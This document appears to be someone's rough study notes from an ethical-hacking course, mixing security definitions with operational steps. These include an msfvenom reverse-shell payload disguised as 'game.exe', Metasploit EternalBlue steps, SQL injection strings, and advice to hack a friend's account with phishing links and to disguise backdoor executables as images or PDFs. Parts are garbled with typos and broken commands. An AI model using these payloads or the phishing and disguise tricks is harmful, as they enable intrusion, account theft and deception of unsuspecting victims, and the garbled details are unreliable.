**CET**

**Auxiliary**

scanning methods

**Post**

from lower priority user to higher priority user (root).

**Encoders**

Fooling a virus and looks like non-virus file, this method is encoding.

**Nops**

Buffer overflow

**Brute forcing**

Checking all passwords(one in billion)

**Burp suite**

Catch request from user. Middleman of that server and client

**Privilege Escalation**

Root access

**Clear ev**

Clearing the path

**Steganography**

Hiding secret in a image

**Packet sniffing**

Data transferred through packets, taking packet’s data

**Phishing**

Catching link

**WiFi**

Wep > old encryption

Encrypts data using a key

Encrypted packet sent in air

Router decrypts packets using the key

Single band router 2.4ghz

Dual band router 2.4 and 5Ghz

2.4 ghz used by many devices,

Eg:- wireless phones, microwaves etc so 50ghz is introduced to avoid clash and thus makes good speed

2.4 ghz has longer range but slow

5 ghz has short range but good speed.

**Wpa/wpa2**

Each packet is encrypted using a temporary key.

**IDE for android app**:- android studio

**Reverse engineering**

Used to decompile an apk file is a type of zip file contains data and UI , gwi etc

**Traffic analysis**

Most of the app use HTTP/HTTPS communications

**Intercepting HTTP**

Using of burpsuite

**HTTP(Hypertext transfer protocol)**

Plain text, layer 7, inscure

**HTTPS(secure)**

Over SSL/TLS

Encrypted text.

**Insecure data storage:** some apps often store data on client side

Weak encrypt

Weak encryption method.

**SQL injection**

Text box, input ,fooling these criteria

By injecting code in that input

Using or, and ,comment

Eg: or 1 ==1, && , #

%23= #

**SQLMap**

Sql injection frameworks

Sql map -u [target url]

**Xss: cross site scripting**

* To inject javascript into the page
* Code is executed when the page loads
* Client side attack

**Reflected xss**

Only work if the target a specially crafted URL

**Stored xss**

Stored on the page or DB

Injected code is executed everytime the page is loaded.

But framework to hook URL

**Prevent XSS vuls**

Minimise usage of user input on html

Avoid, characters like “ ” ,#, etc

**Packet sniffing**

Airodump-ng is a packet sniffer

Used to capture all packets with range

**Social engineering**

Gather information, to do something

To convince victim to do something [games ,

Followers making]

**Maltigo(framework)**

Feel privileged because he is getting something others don’t, he will run the file.

That file can be a trojan (back door, key logger)

**CLI**

Ifconfig > IP address check on linux

Ipconfig > Ip address check on wondows

Payload setting

Sudo su > super user(root user)

Msfconsole-q

Msfvenom -p windows/meterpreter/reverse\_tcp

Lhost=our ip address Lport =4444—

Platform windows-f exe-o game.exe-a-x64

^ ^ ^

Format output architechure

Without user interation

Eternal blue

Sudo su

Service postgresql start

Msfconsole-q

Search eternalblue

Use 0

Show options

RHost need to set [remote host]

To set Lhost

Ifcofig copy inet

Set Lhost paste inet

To find remote host

Nmap sn our ipaddress

To scan a version of ip address

Nmap -sT- sV ipaddress

Set Rhost ipaddress

Set payload ---------

Use

Monitor mode >> wireless network adaptor

Ngrok.com > for sending local host site to remote host

Android pentesting , ios pentesting:-

Checking vuls

**Bug Bounty** > Bug crowd > it company

Security level (p1) >high bounty

Security level (p3) > low bounty

(Vulns finding)

Android phone’s app format apk

An emulator can used in desktop as a phone

In none rooted, one app can’t use data of another app

Pkg list-all > packages all

Pkg install ‘name’

Cntrl +c > exit

Exit

Truecallerjs-h > help

Hack friend’s account send phishing links to target

Change passwords link like youtube password change etc

We can send backdoor with executable format with image,pdf,mp3 with direct link and also change its icon

When we open certain image exe file automatically download. hack friend’s account to do so

**Malwares**

**Viruses**

* Attached with executable file
* Peer to peer sharing
* Email attachment

**Trojan**

* A harmful piece of software that looks legitimate
* Can steal sensitive data
* Can give cyber crooks access to your system
* Gain access to your computer

**Ransomware**

Locks up your computer, locks up your computer file

**Spyware**

It secretly gathers private information about activity logs , keystrokes (passwords)

**Worms**

Replicate themselves